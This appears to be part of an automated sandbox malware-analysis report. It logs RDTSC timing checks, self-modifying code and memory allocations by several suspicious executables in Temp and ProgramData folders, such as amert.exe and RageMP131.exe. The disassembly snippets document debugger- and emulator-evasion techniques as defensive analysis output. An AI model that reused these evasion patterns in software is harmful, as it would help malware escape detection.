Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F9090A second address: 4F9093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F0D75558560h 0x0000000c add esi, 32756E58h 0x00000012 jmp 00007F0D7555855Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F9093D second address: 4F90941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90941 second address: 4F9095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F9095C second address: 4F909DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 61598CDAh 0x00000008 pushfd 0x00000009 jmp 00007F0D755569DBh 0x0000000e adc cl, 0000007Eh 0x00000011 jmp 00007F0D755569E9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F0D755569E1h 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F0D755569E3h 0x0000002a sbb ch, 0000003Eh 0x0000002d jmp 00007F0D755569E9h 0x00000032 popfd 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F909DA second address: 4F90A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov edi, 5AD05D4Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 call 00007F0D7555855Eh 0x00000015 mov bx, ax 0x00000018 pop esi 0x00000019 pushfd 0x0000001a jmp 00007F0D75558567h 0x0000001f adc ch, FFFFFFAEh 0x00000022 jmp 00007F0D75558569h 0x00000027 popfd 0x00000028 popad 0x00000029 mov dword ptr [esp], esi 0x0000002c jmp 00007F0D7555855Eh 0x00000031 mov esi, dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90A4C second address: 4F90A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90A69 second address: 4F90AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D75558567h 0x00000008 call 00007F0D75558568h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebx, 00000000h 0x00000016 jmp 00007F0D7555855Eh 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90AB9 second address: 4F90AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 0E499ADEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90AC3 second address: 4F90AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0DE74EDE09h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90AE7 second address: 4F90B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 pushad 0x00000012 mov ax, B5A1h 0x00000016 pushfd 0x00000017 jmp 00007F0D755569DEh 0x0000001c xor ah, 00000038h 0x0000001f jmp 00007F0D755569DBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov di, cx 0x00000029 popad 0x0000002a mov ecx, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90B31 second address: 4F90B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0D7555855Dh 0x0000000a sbb ecx, 4C556BD6h 0x00000010 jmp 00007F0D75558561h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90B5C second address: 4F90B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569DCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90B6C second address: 4F90BB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7555855Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F0DE74EDD7Ch 0x00000011 jmp 00007F0D75558566h 0x00000016 test byte ptr [76FB6968h], 00000002h 0x0000001d pushad 0x0000001e call 00007F0D7555855Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90BB1 second address: 4F90C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 jne 00007F0DE74EC1D5h 0x0000000c pushad 0x0000000d jmp 00007F0D755569E8h 0x00000012 movzx eax, bx 0x00000015 popad 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 jmp 00007F0D755569DDh 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F0D755569DCh 0x00000026 sbb cx, 3848h 0x0000002b jmp 00007F0D755569DBh 0x00000030 popfd 0x00000031 mov eax, 581553BFh 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90C17 second address: 4F90C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90C1B second address: 4F90C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90C1F second address: 4F90C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90C25 second address: 4F90CBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F0D755569DBh 0x0000000b or eax, 7CD0CB3Eh 0x00000011 jmp 00007F0D755569E9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F0D755569DCh 0x00000022 add si, 2838h 0x00000027 jmp 00007F0D755569DBh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F0D755569E8h 0x00000033 sbb cl, FFFFFF98h 0x00000036 jmp 00007F0D755569DBh 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0D755569E5h 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90CBA second address: 4F90CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D7555855Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90CCA second address: 4F90D2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0D755569E3h 0x00000012 or esi, 3F69D56Eh 0x00000018 jmp 00007F0D755569E9h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F0D755569E0h 0x00000024 sbb ax, 78E8h 0x00000029 jmp 00007F0D755569DBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90D2D second address: 4F90D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90D33 second address: 4F90D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0A2B second address: 4FA0A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F0D75558567h 0x00000010 mov cx, 175Fh 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F0D75558562h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0A81 second address: 4FA0A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0A85 second address: 4FA0A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 502069D second address: 50206A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50206A3 second address: 50206A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50206A7 second address: 50206AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82A9F9 second address: 82A9FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82ADC9 second address: 82ADCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010675 second address: 501067B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 501067B second address: 501067F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 501067F second address: 5010695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0D7555855Bh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010695 second address: 501069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 501069B second address: 501069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 501069F second address: 50106A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50106A3 second address: 50106B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, 39h 0x0000000c mov bx, BDDCh 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50106B9 second address: 50106D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dh, 85h 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D755569E1h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0278 second address: 4FB0282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 0413528Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0282 second address: 4FB0291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569DBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0291 second address: 4FB02BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D7555855Ch 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB02BF second address: 4FB02C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB02C5 second address: 4FB02C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB02C9 second address: 4FB02E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0D755569E4h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50109EE second address: 50109F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50109F2 second address: 50109F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50109F8 second address: 5010A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D7555855Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010A07 second address: 5010A36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D755569DDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010A36 second address: 5010A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010A3C second address: 5010AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F0D755569E6h 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov si, di 0x0000001b pushfd 0x0000001c jmp 00007F0D755569E9h 0x00000021 xor ah, FFFFFFF6h 0x00000024 jmp 00007F0D755569E1h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010AA6 second address: 5010ABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov di, 667Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push dword ptr [ebp+08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop edx 0x00000014 mov di, ax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010ABE second address: 5010AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010AC4 second address: 5010AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010AC8 second address: 5010ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push DC8A490Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010ADB second address: 5010ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010ADF second address: 5010AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010B60 second address: 5010B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010B66 second address: 5010B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010B6C second address: 5010B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010B70 second address: 5010B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b movzx eax, al 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D755569DDh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 5010B99 second address: 5010BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push edx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov bh, 07h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: 978065 second address: 97807B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569E2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF82CE second address: AF82D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF72CC second address: AF72F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F0D755569DEh 0x0000000b jmp 00007F0D755569E2h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF72F7 second address: AF72FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF72FB second address: AF730B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F0D755569D6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF730B second address: AF7311 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF7457 second address: AF7481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 jnp 00007F0D755569FCh 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F0D755569E4h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF7481 second address: AF7485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF78AC second address: AF78B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF7B2A second address: AF7B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 jnc 00007F0D75558556h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	RDTSC instruction interceptor: First address: AF7B3F second address: AF7B48 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 67ED86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 821255 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 81FCCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 67C582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 826705 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Special instruction interceptor: First address: 8AA845 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 99ED86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: B41255 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: B3FCCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Special instruction interceptor: First address: 975256 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 99C582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: B46705 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Special instruction interceptor: First address: B9599A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: BCA845 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 895256 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: AB599A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: A25256 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: C4599A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory allocated: 2C90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory allocated: 4C90000 memory reserve \| memory write watch
